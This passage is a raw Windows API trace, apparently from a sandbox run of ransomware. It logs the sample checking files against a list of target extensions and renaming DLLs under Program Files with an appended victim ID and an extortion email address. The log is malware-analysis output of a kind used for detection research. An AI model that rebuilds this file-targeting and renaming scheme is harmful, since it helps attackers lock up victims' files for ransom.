shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0158.377] lstrlenW (lpString=".dbf") returned 4 [0158.377] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0158.377] lstrlenW (lpString=".1cd") returned 4 [0158.377] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0158.377] lstrlenW (lpString=".jpg") returned 4 [0158.377] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0158.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0158.377] lstrlenW (lpString=".doc") returned 4 [0158.377] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.378] lstrlenW (lpString=".docx") returned 5 [0158.378] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0158.378] lstrlenW (lpString=".pdf") returned 4 [0158.378] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.378] lstrlenW (lpString=".xls") returned 4 [0158.378] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.378] lstrlenW (lpString=".xlsx") returned 5 [0158.378] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0158.378] lstrlenW (lpString=".ppt") returned 4 [0158.378] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0158.378] lstrlenW (lpString=".zip") returned 4 [0158.378] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.378] lstrlenW (lpString=".rar") returned 4 [0158.378] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.378] lstrlenW (lpString=".bz2") returned 4 [0158.378] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.378] lstrlenW (lpString=".7z") returned 3 [0158.378] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0158.378] lstrlenW (lpString=".dbf") returned 4 [0158.378] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0158.378] lstrlenW (lpString=".1cd") returned 4 [0158.378] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0158.379] lstrlenW (lpString=".jpg") returned 4 [0158.379] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.379] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0158.379] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0158.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0158.404] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=10752) returned 1 [0158.404] CloseHandle (hObject=0x3ac) returned 1 [0158.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0158.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0158.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0158.407] lstrlenW (lpString=".doc") returned 4 [0158.407] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.407] lstrlenW (lpString=".docx") returned 5 [0158.407] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0158.407] lstrlenW (lpString=".pdf") returned 4 [0158.407] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.407] lstrlenW (lpString=".xls") returned 4 [0158.407] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.407] lstrlenW (lpString=".xlsx") returned 5 [0158.407] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0158.407] lstrlenW (lpString=".ppt") returned 4 [0158.407] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0158.407] lstrlenW (lpString=".zip") returned 4 [0158.407] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.408] lstrlenW (lpString=".rar") returned 4 [0158.408] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.408] lstrlenW (lpString=".bz2") returned 4 [0158.408] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.408] lstrlenW (lpString=".7z") returned 3 [0158.408] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0158.408] lstrlenW (lpString=".dbf") returned 4 [0158.408] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0158.408] lstrlenW (lpString=".1cd") returned 4 [0158.408] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0158.408] lstrlenW (lpString=".jpg") returned 4 [0158.408] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0158.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0158.408] lstrlenW (lpString=".doc") returned 4 [0158.408] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.408] lstrlenW (lpString=".docx") returned 5 [0158.408] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0158.408] lstrlenW (lpString=".pdf") returned 4 [0158.408] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.408] lstrlenW (lpString=".xls") returned 4 [0158.408] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.408] lstrlenW (lpString=".xlsx") returned 5 [0158.408] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0158.408] lstrlenW (lpString=".ppt") returned 4 [0158.408] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0158.409] lstrlenW (lpString=".zip") returned 4 [0158.409] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.409] lstrlenW (lpString=".rar") returned 4 [0158.409] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.409] lstrlenW (lpString=".bz2") returned 4 [0158.409] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.409] lstrlenW (lpString=".7z") returned 3 [0158.409] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0158.409] lstrlenW (lpString=".dbf") returned 4 [0158.409] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0158.409] lstrlenW (lpString=".1cd") returned 4 [0158.409] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0158.409] lstrlenW (lpString=".jpg") returned 4 [0158.409] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.409] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0158.409] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0158.409] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0158.414] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=10752) returned 1 [0158.414] CloseHandle (hObject=0x3ac) returned 1 [0158.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui")) returned 0x20 [0158.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned 72 [0158.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned 72 [0158.415] lstrlenW (lpString=".doc") returned 4 [0158.415] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.415] lstrlenW (lpString=".docx") returned 5 [0158.415] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0158.415] lstrlenW (lpString=".pdf") returned 4 [0158.415] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.415] lstrlenW (lpString=".xls") returned 4 [0158.415] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.415] lstrlenW (lpString=".xlsx") returned 5 [0158.415] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0158.415] lstrlenW (lpString=".ppt") returned 4 [0158.415] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned 72 [0158.416] lstrlenW (lpString=".zip") returned 4 [0158.416] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.416] lstrlenW (lpString=".rar") returned 4 [0158.416] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.416] lstrlenW (lpString=".bz2") returned 4 [0158.416] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.416] lstrlenW (lpString=".7z") returned 3 [0158.416] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned 72 [0158.416] lstrlenW (lpString=".dbf") returned 4 [0158.416] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned 72 [0158.416] lstrlenW (lpString=".1cd") returned 4 [0158.416] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned 72 [0158.416] lstrlenW (lpString=".jpg") returned 4 [0158.416] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned 72 [0158.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned 72 [0158.416] lstrlenW (lpString=".doc") returned 4 [0158.416] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.417] lstrlenW (lpString=".docx") returned 5 [0158.417] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0158.417] lstrlenW (lpString=".pdf") returned 4 [0158.417] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.417] lstrlenW (lpString=".xls") returned 4 [0158.417] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.417] lstrlenW (lpString=".xlsx") returned 5 [0158.417] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0158.417] lstrlenW (lpString=".ppt") returned 4 [0158.417] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned 72 [0158.417] lstrlenW (lpString=".zip") returned 4 [0158.417] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.417] lstrlenW (lpString=".rar") returned 4 [0158.417] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.417] lstrlenW (lpString=".bz2") returned 4 [0158.417] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.417] lstrlenW (lpString=".7z") returned 3 [0158.417] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned 72 [0158.417] lstrlenW (lpString=".dbf") returned 4 [0158.417] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned 72 [0158.417] lstrlenW (lpString=".1cd") returned 4 [0158.417] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned 72 [0158.417] lstrlenW (lpString=".jpg") returned 4 [0158.418] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.418] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0158.418] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0158.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0158.418] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=10752) returned 1 [0158.419] CloseHandle (hObject=0x3ac) returned 1 [0158.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20 [0158.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0158.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0158.419] lstrlenW (lpString=".doc") returned 4 [0158.419] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.419] lstrlenW (lpString=".docx") returned 5 [0158.419] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0158.419] lstrlenW (lpString=".pdf") returned 4 [0158.419] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.419] lstrlenW (lpString=".xls") returned 4 [0158.419] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.419] lstrlenW (lpString=".xlsx") returned 5 [0158.420] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0158.420] lstrlenW (lpString=".ppt") returned 4 [0158.420] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0158.420] lstrlenW (lpString=".zip") returned 4 [0158.420] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.420] lstrlenW (lpString=".rar") returned 4 [0158.420] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.420] lstrlenW (lpString=".bz2") returned 4 [0158.420] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.420] lstrlenW (lpString=".7z") returned 3 [0158.420] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0158.420] lstrlenW (lpString=".dbf") returned 4 [0158.420] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0158.420] lstrlenW (lpString=".1cd") returned 4 [0158.420] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0158.421] lstrlenW (lpString=".jpg") returned 4 [0158.421] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0158.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0158.421] lstrlenW (lpString=".doc") returned 4 [0158.421] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.421] lstrlenW (lpString=".docx") returned 5 [0158.421] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0158.421] lstrlenW (lpString=".pdf") returned 4 [0158.421] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.421] lstrlenW (lpString=".xls") returned 4 [0158.421] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.421] lstrlenW (lpString=".xlsx") returned 5 [0158.421] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0158.421] lstrlenW (lpString=".ppt") returned 4 [0158.421] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0158.421] lstrlenW (lpString=".zip") returned 4 [0158.421] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.422] lstrlenW (lpString=".rar") returned 4 [0158.422] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.422] lstrlenW (lpString=".bz2") returned 4 [0158.422] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.422] lstrlenW (lpString=".7z") returned 3 [0158.422] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0158.422] lstrlenW (lpString=".dbf") returned 4 [0158.422] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0158.422] lstrlenW (lpString=".1cd") returned 4 [0158.422] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0158.422] lstrlenW (lpString=".jpg") returned 4 [0158.422] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.422] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0158.422] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0158.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0158.427] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=10240) returned 1 [0158.427] CloseHandle (hObject=0x3c0) returned 1 [0158.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui")) returned 0x20 [0158.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui") returned 72 [0158.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui") returned 72 [0158.428] lstrlenW (lpString=".doc") returned 4 [0158.428] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.428] lstrlenW (lpString=".docx") returned 5 [0158.428] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0158.428] lstrlenW (lpString=".pdf") returned 4 [0158.428] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.428] lstrlenW (lpString=".xls") returned 4 [0158.428] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.428] lstrlenW (lpString=".xlsx") returned 5 [0158.428] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0158.428] lstrlenW (lpString=".ppt") returned 4 [0158.428] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui") returned 72 [0158.428] lstrlenW (lpString=".zip") returned 4 [0158.428] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.428] lstrlenW (lpString=".rar") returned 4 [0158.429] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.429] lstrlenW (lpString=".bz2") returned 4 [0158.429] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.429] lstrlenW (lpString=".7z") returned 3 [0158.429] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui") returned 72 [0158.429] lstrlenW (lpString=".dbf") returned 4 [0158.429] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.487] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0158.508] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0158.511] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0158.520] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0159.181] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0159.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 1 [0166.742] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), 